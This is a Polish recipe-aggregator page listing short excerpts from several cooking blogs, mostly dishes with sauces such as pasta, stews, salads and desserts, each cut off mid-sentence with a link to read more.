Drożdżowe (kluski) parowańce z aksamitnym sosem 191

durszlak. Gdy woda się zagotuje, nakładać kluski do durszlaka i delikatnie przykryć pokrywką. Tak przyrządzone kluski parować przez 5 minut na niezbyt dużym ogniu po ciągłym przykryciem !!!. SKŁADNIKI NA SOS: 3 skrzydełka z kurczaka dwie i pół szklanki wody 1 bulionetka do dań duszonych z kurczaka 1 liść laurowy 2 ziarenka ziela angielskiego 1 płaska łyżka kurkumy 1 łyżeczka mielonego

ClauditteMissCooking
Makaronowa zapiekanka z kurczakiem i brokułami 219

kroimy w kostkę. Dodajemy do niego wodę i śmietanę. Podgrzewamy na małym ogniu, do momentu aż serek się roztopi. Przyprawiamy solą i pieprzem. Makaron, kurczaka i brokuł dokładnie polewamy sosem. Na to sypiemy startym serem. Pieczemy 20 min w 180 stopniach

Passion of Cooking
Łosoś z warzywami 212

kuzynki i powiem szczerze, że się w nim zakochałam. Jest bardzo prosty i szybki w przygotowaniu. Łosoś z tego przepisu wychodzi bardzo aromatyczny i   jest w przepysznym maślanym sosie z dodatkiem warzyw.   Pycha!!! Pasuje idealnie do ziemniaków pieczonych lub do puree ziemniaczanego. Zresztą przekonajcie się sami. Składniki: 4 filety z łososia, 3 łyżeczki masła ( czubate

Passion of Cooking
Curry z botwiną i ciecierzycą 179

smaż przez minutę, nie przerywając mieszania. Następnie dodaj pomidory wraz zalewą. Całość gotuj około 5 minut. Dodaj mleko kokosowe, botwinę oraz ciecierzycę i gotuj około 10 – 15 minut – aż sos zacznie gęstnieć. Dopraw solą, pieprzem i w razie potrzeby – pozostałymi przyprawami. Curry podawaj w głębokich miseczkach z ugotowanym wcześniej ryżem. Przed podaniem posyp posiekaną kolendrą

Moja pasja smaku
Gruszka 145

słodki owoc, który można wykorzystać na różne sposoby, dlatego też w najbliższym czasie zamieszczę kilka potraw czy też słodkości zawierających właśnie gruszeczki. Będą to między innymi gruszka zapiekana w sosie miodowym, tarta, muffinki czy danie mięsne z gruszkami

Kuchenne Wariacje
Pizza serowa 182

camembert, rolada tylżycka, ser feta i parmezan. Mozzarellę, camembert i roladę pokroiłam w cienkie paski, fetę trochę rozkruszyłam a parmezan starłam na tarce. Podstawowy mój przepis na pizzę i sos do niej znajduje się tutaj: http://kuchennewariacje.pl/?p=39 Smacznego

Kuchenne Wariacje
Ogłoszenie wyników pierwszego konkursu KW :) 192

ogień i na tę samą patelnię wrzucić cebulę, czosnek i papryki. Smażyć, aż cebula się zeszkli. Wlać mleko kokosowe, doprawić płatkami chili i odrobiną soli. Gotować 5 minut. Powstałym sosem polać kurczaka. Naczynie włożyć do piekarnika i piec przez 15 minut. Podawać z ryżem. Ja dodatkowo udekorowałam potrawę nitkami chili

Kuchenne Wariacje
Fotoreportaż: warsztaty Grill w Piri Piri 183

zwarci i gotowi do pracy i zaczęło się. Z jednej strony powstawała sałatka ziemniaczana z pokrojonych ziemniaków z dodatkiem posiekanego koperku, pokrojonej cebuli i fenkuła w kostkę i polana sosem vinegret (musztarda, ocet winny, sól, pieprz, woda i miód) – muszę przyznać że sałatka wyszła całkiem niezła – natomiast z drugiej strony szła produkcja różnorodnych szaszłyków. Na początek były szaszłyki

Kuchenne Wariacje
Cukinia faszerowana mięsem mielonym z pomidorami 200

roztapiamy masło a potem wrzucamy cebulę pokrojoną w kostkę, potem dodajemy mięso mielone, dodajemy sól i pieprz i smażymy do momentu kiedy mięso będzie gotowe. W między czasie robimy sos pomidorowy – w garnku rozpuszczamy masło i wrzucamy obrane i pokrojone w kostkę pomidory, doprawiamy solą, pieprzem, miodem i dusimy. Na koniec można lekko zmiksować używając blender. Gotowe pomidory łączymy

Kuchenne Wariacje
Włoska sałata z orzechowym dressingiem 185

nami więc czas na sałatkę, która w niej była czyli włoska sałata z orzechowym dressingiem. Składniki: - 50g rukoli - 1 główka cykorii - 1/2 małej główki radicchio - kilkanaście obranych orzechów włoskich Sos: - 25g prażonych orzechów włoskich - 1 mały ząbek czosnku - 4 łyżki oliwy - starta skórka z 1 cytryny - sok z 1 cytryny - 2 łyżeczki parmezanu - sól i pieprz do smaku Najpierw prażymy

Kuchenne Wariacje
Zupa Horacego 187

serem pecorino i świeżo zmielonym pieprzem (ilości według uznania). Ze względu na zawarte składniki w zupie zupa ta jest bardzo gęsta. Jej konsystencja jest pomiędzy zupą a makaronem z sosem, ale bardzo smaczna więc szczerze polecamy Smacznego

Kuchenne Wariacje
Empanady z mięsem 177

pomidory obrane i pokrojone na drobną kostkę. Całość doprawiamy solą, pieprzem, cynamonem, kminkiem, cukrem i octem. Dusimy na małym ogniu do momentu gdy pomidory nam odparują i powstanie gęsty sos. Na końcu dodajemy posiekaną kolendrę oraz migdały uprażone na patelni. Ciasto francuskie rozwałkowujemy na cienko i wycinamy z ciasta krążki o średnicy 10 cm. Na środek kółka układamy 1 łyżkę

Kuchenne Wariacje
Wołowina Michoacan 184

Polecamy pyszny, sycący i aromatyczny gulasz z wołowiny w sosie pomidorowym z dodatkiem fasolki szparagowej, która doskonale urozmaica ten gulasz. Danie pochodzi z południowo-zachodniego Meksyku, regionu Michoacán stąd jego nazwa. Składniki: - 500 g wołowiny - 250 g pomidorów - 1 cebula - 2 ząbki czosnku - 1 papryczka chili - 1 łyżka oliwy - 250 g fasolki zielonej szparagowej - 0,5 l wywaru z wołowiny

Kuchenne Wariacje
Mus malinowo-czekoladowy 193

malinowo-czekoladowy Składniki na mus malinowy: - 100 g malin - 15 g cukru pudru - 3 g żelatyny - 20 ml wody (ewentualnie jeżeli nie macie świeżych malin to możecie wykorzystać sos z malin Deluxe – 100g) Składniki na mus czekoladowy: - 200 ml śmietanki 30% - 2 żółtka - 50 g czekolady mlecznej - 50 g czekolady deserowej Dekoracja: - maliny - pałeczki czekoladowe - trochę startej czekolady Porcja

Kuchenne Wariacje
Makaron z zielonymi warzywami 195

dorzucamy cukinię pokrojoną na ćwiartki. Warzywa przyprawiamy i jak są wszystkie miękkie to wlewamy śmietankę i zagotowujemy. W między czasie gotujemy makaron w osolonej wodzie. Ugotowany makaron przekładamy do sosu z warzywami, mieszamy i przekładamy na talerz. Smacznego

Kuchenne Wariacje
Paprykowe spaghetti 252

papryki. Podsmażyć aż papryka zmięknie. Dodać bulion, przecier i czosnek. Wymieszać i zagotować. Doprawić i polać makaron. Uwaga – sprawdzona rada 1)         do sosu można dodać mięso mielone, smażona na osobnej patelni ( ok. 500 g ) Życzę smacznego. Komentarze oraz lajki mile widziane :) (adsbygoogle = window.adsbygoogle || []).push

Świat Smaku
Babka ziemniaczana 277

piekłam 40 min, a potem trzymałam w wyłączonym piecu jeszcze 10 min. Po wyciągnięciu dałam jej kilka minut na odpoczynek - lepiej się kroi. Podałam na sałacie z sosem vinegrette.... Smacznego

Gaździnka warzy
Perliczka z kaparami 186

bulion i dusić około 20 minut. Piersi wyjąć i trzymać w cieple. Słoninę pokroić w drobna kostkę, podsmażyć wytapiając trochę tłuszczu, dodać mąkę i dokładnie wymieszać, zagotować, dodać do sosu, w którym dusiły się piersi. Dodać kapary, 1-2 łyżki octu winnego i zagotować. Doprawić do smaku. Podałam z sałatką z pieczonych buraków. zastawa

królestwo garów
Sałatka ryżowa 440

całkowicie przeznaczonym na relaks. Zazwyczaj dodaję do niej tuńczyka , ale może też być w wersji z szynką gotowaną. Do tego świeży szczypiorek i ogórek, jajko na twardo oraz odrobina sosu i jedzenie gotowe". Czytaj więcej

Wiem co jem
Lasagne z selerem naciowym 170

grubsza rzecz ujmując lasagne to płaty makaronu przełożone sosem, posypane po wierzchu utartym serem i zapieczone. Czytaj więcej

Wiem co jem
Pieczarki 227

kulistych kapeluszach i grubym trzonie. Można je spożywać na surowo. W kuchni stosuje się je jako dodatek do zapiekanek i pizzy, składnik farszu do uszek lub krokietów , do przyrządzania sosów

Wiem co jem
Duet selerowo-marchewkowy 166

Dwie surówki przygotowywane każda oddzielnie, ale serwowane razem. Seler w sosie majonezowym i słodka marchewka z octem jabłkowym i rodzynkami. Takie surówki lub ich odmiany są często podawane w różnych restauracjach nie tylko w naszym kraju, ale także np. we Francji. W tej ostatniej często do majonezu dodaje się jeszcze musztardę Dijon, a warzywa kroi w paseczki lub ściera

Wiem co jem
Deser waniliowy z musli i sosem wiśniowym 165

Chrupiące musli, waniliowa masa serowo-śmietanowa i słodko-kwaśny sos wiśniowy stworzyły razem doskonałe połączenie. Aż się sama zdziwiłam, bo wymyśliłam ten deser naprędce z tego co akurat znalazłam w dość opustoszałej lodówce. Wyszło przy tym nawet zdrowo, bo i musli z pełnego ziarna i suszone owoce i wiśnie prawie jak świeże. Zachęcam więc wszystkich do przygotowania tego prostego deseru

Wiem co jem
Mintaj zapiekany z warzywami 124

przepisu zamieszczonego w książce "Kuchnia mikrofalowa". Zrobiłam go w klasycznej wersji, zapieczony w piekarniku. Zamiast dorsza użyłam mintaja. Świeże pomidory zastąpiłam tymi z puszki. Zmniejszyłam też ilość sosu. Łączy w sobie wspaniały smak z mnóstwem witamin zawartych w jarzynach. Doskonałe danie na przyjęcie. Szybkie w przygotowaniu, nie wymaga stania przy kuchni i pilnowania gdy trzeba zajmować się gośćmi

Wiem co jem
Gulasz wieprzowy z kurkami 156

roku jest ich znacznie więcej, postanowiłam nieco z nimi pokombinować. Było już penne z kurkami a teraz chciałabym zaprosić wszystkich na aromatyczny gulasz wieprzowy z kurkami w pysznym gęstym sosie. Smakuje doskonale z makaronem, lub białym pieczywem.” Czytaj więcej

Wiem co jem
Filet z kurczaka w sosie cytrynowym 126

zobaczyłam ten przepis wiedziałam od razu, że muszę go wypróbować, chociaż trochę się obawiałam tego sosu cytrynowego. Niepotrzebnie bo jest fantastyczny. Do tego ten świeży aromat szałwii. To danie mnie oczarowało. W dodatku jest takie proste i szybkie do przyrządzenia.Polecam wszystkim i życzę smacznego”. Czytaj więcej

Wiem co jem
Cukiniowe talarki z sosem jogurtowym 147

Szybkie i smaczne danie na obiad lub kolację. Delikatna cukinia w cieście dobrze się komponuje ze słodko-pikantnym sosem jogurtowym. Wyglądają tak apetycznie, że nawet mój mąż, który nie jest miłośnikiem cukinii skusił się na nie. Ja natomiast zajadam się nimi ostatnio dość często. Przepis dodaję do akcji „Cukinia 2011”. " Czytaj więcej

Wiem co jem
Kurczak w curry z jabłkami 193

innych czasopism kulinarnych niepowtarzalnym klimatem, ciekawym stylem pisania i wspaniałymi przepisami. Naprawdę szkoda, że zostało wygryzione przez niemieckie wydawnictwa. Dokonałam drobnej zmiany w przepisie. Kostkę rosołową potrzebną do sosu zastąpiłam domowym bulionem drobiowym. Danie jest przepyszne, chociaż trochę pracochłonne. Warto jednak poświęcić mu trochę czasu, by potem delektować się wspaniałym smakiem.” Czytaj więcej

Wiem co jem
Serowe filety z bazylią 136

prostych polskich potraw były wariacje na temat pomidorowej, a teraz jest czas na bardziej wykwintne dania z winem i serem. Zgłosiłam do tej akcji już przepis na flądrę w sosie winnym , a dziś pora na ser. Gatunek sera, którego nie może zabraknąć w mojej kuchni to mazzarella, która doskonale się komponuje z bazylią i pomidorami. Powstały więc serowe filety drobiowe

Wiem co jem
Świąteczny schab ze śliwkami 183

obiecałam dziś przepis na świąteczny schab ze śliwkami. Można go upiec wcześniej, a w dniu obiadu tylko podgrzać. Do tego sos na bazie białego wina i pieczone ziemniaki lub kopytka. W święta ja wybieram wersję z kopytkami, bo je też można zrobić wcześniej. Zazwyczaj podaję do tego moją sałatkę z kapusty i buraczków .” Czytaj więcej

Wiem co jem
Schab otulony majerankiem 134

Kruche, aromatyczne mięso, które z powodzeniem możemy podać na obiad z dodatkiem gotowanego makaronu i sosu pieczarkowego. Obie te cechy to zasługa trzydniowego leżakowania w soli i znakomitego majeranku z Manufaktury Smaku, który opisałam kilka dni temu. Dodatkowo upieczone metodą 80° Dr Oetkera było też bardzo soczyste.” Nadmiar możemy też wykorzystać jako wędlinę na kanapki”. Czytaj więcej

Wiem co jem
Polędwiczki w sosie pieprzowym nagrodzone 231

Mój przepis na "Polędwiczki wieprzowe ze śliwkami w sosie pieprzowym"  zajął I miejsce w kategorii DANIE GŁÓWNE  w konkursie urodzinowym zorganizowanym na blogu Maxymonium kulinarne . Dziękuję bardzo

Wiem co jem
Sałatka z rukoli i sera 500

było, a po drugie mąż nie jest zwolennikiem serów pleśniowych. Zrobiłam więc własną wersję. Dwa rodzaje sera, rukola i sałata lodowa. Do tego pomidorki koktajlowe, świeży ogórek i sos jogurtowy. Było pysznie.” Przepis zgłaszam do akcji " Kuchnia 24/7 ". Czytaj więcej

Wiem co jem
Pasztet z oliwą i natką pietruszki 214

zgłosić tylko trzy przepisy. Gdy się tak zastanawiałam nad tym co by to mogło być, pomyślałam (nie wiem czy słusznie), że to nie mogą być typowo włoskie dania, czy sosy, bo obecność oliwy jest tam oczywista. Że to powinny być potrawy, do przygotowania których, mało kto oliwę używał. Stąd też w moich wcześniej zgłoszonych przepisach znalazły się: słodkie babeczki

Wiem co jem
Naleśniki ala tortilla z kurczakiem i rukolą 212

ciasta na białkach z dodatkiem otrąb i siemienia, a nadzienie zrobiłam z panierowanych w otrębach piersi kurczaka. Do tego świeże pomidory, ogórek, sałata, rukola i odrobina majonezu oraz sosu słodko-kwaśnego. Smacznie i zdrowo. Polecam.” Czytaj więcej

Wiem co jem
Spaghetti z kurczakiem i kurkami 281

grzybiarzy to mi się udaje. Ponadto mam własny skrawek lasu i kurki na nim dość chętnie rosną. Tym razem przygotowałam z nich spaghetti. Dodałam pierś z kurczaka i zrobiłam sos śmietanowy z dodatkiem białego wina i czosnku. Wyszło pysznie.” Czytaj więcej

Wiem co jem
Knedle serowe ze śliwkami 174

porze są naprawdę wyjątkowo słodkie, zrobiłam dziś na obiad knedle ze śliwkami, ale nie takie tradycyjne ziemniaczane, tylko serowe i jeszcze dosypałam do ciasta otrąb owsianych. Podałam je s sosem jogurtowym i cynamonem. Były przepyszne. Coraz bardziej się do nich przekonuję (knedli oczywiście, a nie otrąb bo te jak wiecie wciskam gdzie się da. ).” Czytaj więcej

Wiem co jem
Zapiekany mix ryżowy z wędzonym łososiem 174

wymyśliłam taką, ponieważ "postumencik" pod łososia to mieszanka trzech gatunków ryżu, doprawiona i zapieczona. Na każdym postumenciku umieściłam rodzaj gniazda z wędzonego łososia, do środka którego wlałam sos tatarski. Całość wykończyłam ogórkiem konserwowym i świeżym koperkiem Mąż był zachwycony, a i mnie też przypadła do smaku. Prosta do zrobienia. Ja wykorzystałam tu mieszankę trzech gatunków ryżu: dzikiego, parboiled

Wiem co jem
Kurczak z mango i ananasem 341

dalszym ciągu króluje mango, tym razem będzie w wersji nieco pikantnej jako danie obiadowe w towarzystwie kurczaka, ananasa, papryki, marchewki, chilli i oczywiście ryżu. Wszystko przyprawione czosnkiem, sosem sojowym, świeżym imbirem i szczyptą curry. Smacznie, zdrowo, kolorowo.” Czytaj więcej

Wiem co jem
Sałatka owocowa z otrębami 179

owocową sałatkę z granulowanymi otrębami śliwkowymi. Znalazło się w niej między innymi ulubione ostatnio przeze mnie mango i kiwi. Do tego pomarańcza, banan i pestki granatu. Całość doprawiona delikatnym sosem na bazie jogurtu greckiego i soku ananasowego. Polecam.” Czytaj więcej

Wiem co jem
Fusilli w sosie serowym z brokułami i szynką włoską 132

Pomysł na ten szybki i smaczny obiad wypatrzyłam w gazecie z programem TV. Troszkę go zmieniłam, bo nie przepadam za sosem śmietanowym. Użyłam więc zamiast śmietany serka śmietankowego, który jest bardziej wyrazisty w smaku. Efekt końcowy pozytywnie mnie zaskoczył i na pewno jeszcze nie raz powrócę do tego przepisu, zwłaszcza latem gdy nie lubię za długo stać przy kuchence.”. Czytaj

Wiem co jem
Pierogi z jagodami 154

zajęcie nie należy do najprzyjemniejszych, to smak świeżych owoców rekompensuje mi ten trud. Przepis banalnie prosty. Klasyczne ciasto na pierogi wypełnione jagodami wymieszanymi z mąką ziemniaczaną podane z sosem jogurtowym. Proste a jakże smaczne.” Czytaj więcej

Wiem co jem
Gulasz z podgrzybków 130

Większość osób, które znam zazwyczaj jada grzyby w śmietanie. Ja uwielbiam je w sosie pomidorowym. W towarzystwie białego wina i czosnku smakują znakomicie. Gulasz ma gładką, aksamitną konsystencję. Jest gęsty i aromatyczny. Zazwyczaj wybieram do niego same kapelusze takie o średnicy około 3-4cm i nie kroję ich, tylko używam w całości. Najpierw obsmażam je na oleju, a następnie

Wiem co jem
Pulpety rybne w sosie chrzanowym 202

Pulpety rybne w sosie chrzanowym są doskonałą alternatywą dla smażonych ryb. To lekkie dietetyczne danie, smakuje doskonale z makaronem. Pulpety można przyrządzić w zasadzie z każdej ryby, ale ja preferuję tutaj ryby słodkowodne, które mają z reguły więcej takich drobnych ości. Zmielone w malakserze nie są już problemem i dodatkowo stanowią źródło wapnia. Najlepiej gdyby była to świeża ryba

Wiem co jem
Fusilli z leśnymi grzybami, czosnkiem i chili 162

Smaczne, pikantne danie bezmięsne, w sam raz na piątkowy obiad. Najlepiej smakuje ze świeżymi grzybami, ale poza sezonem mogą być też mrożone. Ten przyprawiony czosnkiem i chili sos z dodatkiem świeżej natki pietruszki doskonale pasuje do makaronów krótkich typu świderki lub penne.” Czytaj więcej

Wiem co jem
Kokosowe knedle z truskawkami 173

dzisiejszy obiad. Serowe knedle truskawkowe z dodatkiem mąki kokosowej. Jej niewielki dodatek sprawia, że danie zyskuje od razu nieco egzotyczny wymiar. Smakuje wyśmienicie z dodatkiem sosu truskawkowego. Mnie z podanych proporcji wyszło 10szt., ale wszystko zależy od wielkości truskawek. Polecam to danie, nie tylko dla dzieci.” Czytaj więcej

Wiem co jem
Kacze udka z figami 202

szklanki wody. Przykryć naczynie i wstawić do piekarnika nagrzanego do 200°C. Po godzinie zmniejszyć temperaturę do 170° i piec jeszcze pół godziny. W trakcie pieczenia kilkakrotnie polać udka sosem z dna brytfanki. Na 15 minut przed końcem pieczenia odkryć mięso i zwiększyć temperaturę do 200°C aby skórka się przyrumieniła. Pozostałe figi naciąć na krzyż, ale nie do końca

Wiem co jem
Roladki z pstrąga w pikantnym sosie marchewkowym 153

Zamiast tradycyjnych smażonych ryb w tym roku będą gotowane na parze roladki z pstrąga w pikantnym sosie marchewkowym. Lekko i pysznie. Oczywiście nie musicie czekać do wigilii by je przygotować. Możecie to zrobić już dziś. Przepis powstał na potrzeby świątecznego e-booka zawierającego 50 przepisów na zbliżające się Święta Bożego Narodzenia w ramach współpracy z serwisem ZpierwszegoTloczenia.pl oraz Fooder.pl

Wiem co jem
Sałatka z rukoli, pieczonych buraków i koziego sera 201

cebulę w plasterki. Przełożyć  wszystkie pokrojone składniki do miski. Dodać czerwone porzeczki i połamaną na kawałki roladę twarogową. Delikatnie wymieszać. Z miodu, octu ryżowego i oliwy przygotować sos. Doprawić go solą i pieprzem. Polać sałatkę. Posypać uprażonymi płatkami migdałowymi. Smacznego :) Aronia

Wiem co jem
Ciasto na pizzę - przepis podstawowy 146

czasie przebiłam ciasto ręką, wyłożyłam na podsypany mąką blat i rozwałkowałam. Ta porcja ciasta wystarcza mi na wyłożenie cienką warstwą natłuszczonej blaszki o wymiarach 40x26 cm. Teraz tylko posmarować sosem, obłożyć ulubionymi składnikami, wstawić do nagrzanego piekarnika i upiec. Ja swoją piekę w temperaturze 200 stopni z termo obiegiem przez około 15-20 minut

Kuchenne zapiski Edyty
Łopatka pieczona z czerwoną czubrycą 171

godzinę w temperaturze 200 stopni z termo obiegiem. Po wyjęciu z piekarnika delikatnie, żeby się nie poparzyć parą, rozcięłam rękaw, mięso wyjęłam do ostudzenia, a powstały podczas pieczenia sos zlałam do słoiczka, aby na drugi dzień go zagęścić i wykorzystać do polania mięsa

Kuchenne zapiski Edyty
Mix sałat z pieczenią i pomarańczą 176

dołożyłam do sałaty. Składniki sałatki wymieszałam, przełożyłam na głęboki talerz. Z resztek pomarańczy wycisnęłam sok, dolałam do niego łyżeczkę oliwy, doprawiłam do smaku solą i pieprzem, wymieszałam. Otrzymanym sosem polałam sałatkę

Kuchenne zapiski Edyty
Pizza z ljutenicą i wiejską kiełbasą 189

sezonie obfitości jesiennych warzyw, dzięki przepisowi  Pyzy, przygotowałam sobie kilka słoiczków ljutenicy. To bałkański sos z pieczonej papryki, pieczonych bakłażanów, pomidorów, cebuli, czosnku i czerwonej czubrycy (plus kilku jeszcze składników). Oczywiście nie byłabym sobą, gdym nie doprawiła go według własnego gustu. Przyprawiłam go sobie nieco delikatniej, rezygnując z ostrej papryczki, czerwoną czubrycę zastępując częściowo słodką i ostrą suszoną papryką

Kuchenne zapiski Edyty
Gołąbki z kapusty włoskiej, z mięsem indyczym i ryżem 287

inny sposób. Użyta przeze mnie kapusta włoska jest delikatniejsza od białej, zaś mięso indycze zdrowsze i zawiera mniej tłuszczu niż wieprzowina. Zazwyczaj na bazie wywaru przygotowuję gęsty pomidorowy sos, ale tym razem mąż miał ochotę na gołąbki posypane słodką czerwoną papryką. Gołąbki z kapusty włoskiej z mięsem indyczym Składniki: Główka kapusty włoskiej – moja ważyła 1,5 kg sól pół kilograma

Kuchenne zapiski Edyty
Gulasz z indyczych serc z papryką i selerem naciowym 231

można dodać wody. Wsypałam płatki papryki i pod przykryciem na wolnym ogniu gotowałam do miękkości warzyw – około 15 minut. Mąkę pszenną rozprowadziłam niewielką ilością zimnej wody i zagęściłam nią sos. Doprawiłam do smaku solą i pieprzem. Gulasz podałam z makaronem mini lasagne

Kuchenne zapiski Edyty
Kurczak w majeranku 217

dusiłam na wolnym ogniu od czasu do czasu sprawdzając, czy cała woda nie odparowała, uzupełniając ją w razie potrzeby. Kilkakrotnie odwróciłam mięso. Kiedy było miękkie, odkryłam rondel i odparowałam sos, pozostawiając tylko tłuszczyk, który wytopił się z kurczaka

Kuchenne zapiski Edyty
Jajka faszerowane pieczarkami pod pierzynką z nowalijek 520

gotować około 8 minut. Odlać, zalać zimną wodą i dokładnie wystudzić. Pieczarki oczyścić, zetrzeć na tarce o grubych oczkach, wrzucić na rozgrzane masło i smażyć do całkowitego odparowania sosu. Odstawić do wystudzenia. Rzodkiewki i szczypior opłukać, osuszyć. Rzodkiewkę zetrzeć na tarce o grubych oczkach, szczypior posiekać. Jajka obrać, przekroić na pół, wyjąć żółtka, rozetrzeć je i dokładnie wymieszać z wystudzonymi

Kuchenne zapiski Edyty
Makaron z karkówką, porem, cukinią i smażoną szałwią 196

mojemu wystarczyły 4 minuty gotowania. Makaron dodałam na patelnię, wszystko razem dokładnie wymieszałam i przełożyłam na talerz. Posypałam plasterkami żółtego sera. Na wierzchu położyłam listki szałwii. Makaron jest bez sosu tylko obtoczony oliwą, ale ja tak lubię

Kuchenne zapiski Edyty
Roladki schabowe z warzywami gotowane w folii 267

wolnym ogniu około 40-45 minut. Następnie wyłożyłam do głębokiego talerza i delikatnie, żeby się nie poparzyć porozcinałam folię. Roladki wyjęłam z folii, a powstały w niej podczas gotowania sos zlałam do talerza. Można go zagęścić i ewentualnie doprawić, i wykorzystać do polania roladek

Kuchenne zapiski Edyty
Ciecierzyca z warzywami, czyli danie bardzo jednogarnkowe 205

puszki razem z zalewą, doprawiłam do smaku solą, pieprzem, słodką i ostrą papryką, cukrem, bazylią i  oregano, i dusiłam jeszcze wszystko razem do pożądanej miękkości warzyw. Jeśli sos jest zbyt gęsty, można go podlać niewielką ilością wody

Kuchenne zapiski Edyty
Sos jogurtowy do grillowanego mięsa 201

Jogurtowy sos z ogórkiem, czosnkiem i koperkiem, to doskonały dodatek do pieczonego na grillu, oraz smażonego mięsa. Podałam go do SZASZŁYKÓW Z PIERSI INDYCZEJ W CURRY . Domownikom smakował również z ugotowanymi młodymi ziemniakami, natomiast ja troszkę poeksperymentowałam i polałam nim roladki z grillowanego bakłażana. Też pasował :) Składniki: 1 średni ogórek sałatkowy sól 400 g gęstego jogurtu naturalnego ząbek czosnku

Kuchenne zapiski Edyty
Prosta surówka z ogórków małosolnych 174

jedną osobę: 2 ogórki małosolne 1/2 czerwonej cebuli gałązka natki pietruszki łyżeczka oleju świeżo zmielony pieprz WYKONANIE:  Cebulę obrałam, opłukałam i pokroiłam w ćwierć plasterki. Ogórki osączyłam z sosu i również pokroiłam w ćwierć plasterki  (nie obierałam ze skóry). Natkę pietruszki opłukałam, otrzepałam z wody i drobno posiekałam. Składniki umieściłam w miseczce. Dodałam do nich olej i świeżo

Kuchenne zapiski Edyty
Panierowana mortadela na sosie z pomidorów i groszku 170

Pomysł trafił na podatny grunt - nie jadłam ich już wiele lat i postanowiłam przypomnieć sobie smak. Kiedyś podawałam je z ziemniakami i surówką, dzisiaj zdecydowałam zaserwować z makaronem i sosem pomidorowo-groszkowym. Było smacznie :) Czytaj więcej

Kuchenne zapiski Edyty
Tarta z fenkułem i porem 164

Krucha tarta z nadzieniem z fenkuła, pora, cukinii i papryki, zapieczona pod jajeczno śmietanowym sosem. Na drugi dzień smakowała równie rewelacyjnie, szczególnie, że mąż wpadł na pomysł aby polać ją ketchupem i posypać kiełkami słonecznika. Gorąco polecam! Przepis który mnie zainspirował do jej wykonania znalazłam TUTAJ . Czytaj więcej

Kuchenne zapiski Edyty
Placuszki ziemniaczano cukiniowe 220

Delikatne placuszki z ziemniaków i młodej cukinii - ja podałam je do polędwiczek wieprzowych w kurkowym sosie , ale doskonale smakują również podane z cukrem i kwaśną śmietaną, lub samą śmietaną na słono - wedle gustu. Czytaj więcej

Kuchenne zapiski Edyty
Polędwiczki w sosie kurkowym 180

Polędwiczki wieprzowe w aromatycznym sosie z kurek i kremówki, delikatnie podkręconym szczyptą curry. Przepis źródłowy TUTAJ . Podałam je z delikatnymi placuszkami ziemniaczano cukiniowymi . Czytaj więcej

Kuchenne zapiski Edyty
Międzybrodzkie wstążki z sosem kurkowym i brokułem 206

użyłam wstążki ząbkowanej, i kolejny raz nie zawiodłam się. Makaron po ugotowaniu w czasie przewidzianym przez producenta pozostał taki jak lubię, czyli al'dente, i doskonale pasował do sosu kurkowego. Czytaj więcej

Kuchenne zapiski Edyty
Lody arbuzowe 136

składnika, czyli arbuza - mój był blady i mało słodki, a co za tym idzie lody wyszły delikatne zarówno w kolorze jak i w smaku, dlatego podałam je z charakternym sosem truskawkowym (niestety kupnym). Czytaj więcej

Kuchenne zapiski Edyty
Ciasto czekoladowo-orzechowe z gruszkami 144

włoskie orzechy. Ciasto wyszło przepyszne, pachnące i mięciutkie, a gruszki upiekły się idealnie :) Wprawdzie dopiero po zjedzeniu przyszło nam go głowy, ze można było już na talerzyku polać gruszki sosem czekoladowym, ale nic straconego, następnym razem na pewno tak zrobimy :) Czytaj więcej

Kuchenne zapiski Edyty
Kotleciki nadziewane pomidorkiem koktajlowym 158

Ostatnio mam fazę na pomidory, więc na jeden z obiadów przygotowałam kotleciki nadziewane pomidorkiem i podałam je na pomidorowym sosie z pełnoziarnistym makaronem. Czytaj więcej

Kuchenne zapiski Edyty
Bitki wieprzowe w sosie z suszonych grzybów 146

Bitki wieprzowe w sosie z suszonych grzybów podałam z KLUSKAMI ŚLĄSKIMI i CZERWONĄ KAPUSTĄ . Czytaj więcej

Kuchenne zapiski Edyty
Gołąbki z kaszą perłową i boczkiem 155

razem zachęcona przez apetyczne fotki z gotujmy.pl, postanowiłam zrobić nietradycyjne, z kaszą i boczkiem. Smakują zupełnie inaczej, ale jak stwierdził mój mąż: całkiem dobrze. Można je podać z sosem pomidorowym, ale mnie zwyczajnie zabrakło cierpliwości na jego przygotowanie i zjadłam takie "golaski". Czytaj więcej

Kuchenne zapiski Edyty
Lizaki z ciastek Oreo wg przepisu Lorraine Pascale 246

dzieła:) Skladniki (na ok. 30 szt.): 2 paczki ciastek Oreo (każda po 154 g) 2 czubate łyżki Nutelli 2 tabliczki białej czekolady (do ciemnych ludzików użyłam Gęstego sosu z białej czekolady Marks & Spencer) 30 szt. patyczków do lizaków kolorowe posypki do dekoracji Przygotowanie:  W malakserze (lub blenderze) drobno kruszymy ciastka, dodajemy Nutellę i miksujemy do połączenia składników. Formujemy

Domowa Cookierenka Agi
Domowa ricotta 205

pierwsze: ricotta stanowi bazę pewnego sycylijskiego deseru, który, mam nadzieję, już za chwilę pojawi się na blogu. Po drugie: ma szerokie zastosowanie jako składnik wielu ciast, farszów, sałatek i sosów. Wyśmienicie smakuje na kanapce, zarówno w wersji słodkiej: z konfiturą lub miodem, ale też w wersji wytrawnej - z dodatkiem czosnku, pomidorów czy ziół. Teraz krótko o pozostałych składnikach użytych

Domowa Cookierenka Agi
.599. wspólne placki na powitanie wiosny 171

kokosowe* placki z sosem czekoladowym~ *z mąki kokosowej Od wczoraj mamy wiosnę ! Teraz będzie już tylko cieplej :) A na powitanie nowej pory roku jemy z Karoliną   wspólne śniadanie, którego motywem są kokosowe placki . Wspólnie-wirtualnie, ale kto wie, może uda się ponownie zjeść je razem 'w realu'? :) Dzięki Karolina! ♥ Chyba udało nam ośmielić wiosnę, bo u mnie pięknie świeci

breakfast of dreams
.637. dziś w sezamowym menu...naleśniki! 179

sezamowe* naleśniki z truskawkowym twarożkiem, sosem czekoladowym i truskawkami~ *z mąki sezamowej Moje pierwsze sezamowe naleśniki nawet nie chciały przewrócić się na drugą stronę. Teraz, jak widać, było lepiej. Ale to jeszcze nie to, i tak musiałam wkurzać się nad patelnią :D Niedługo zrobię idealne sezamowe naleśniki :) Zdaję sobie sprawę, że niewiele osób używa mąki sezamowej, ale może ktoś

breakfast of dreams
.676. lody na śniadanie? + Norwegia cz.1 188

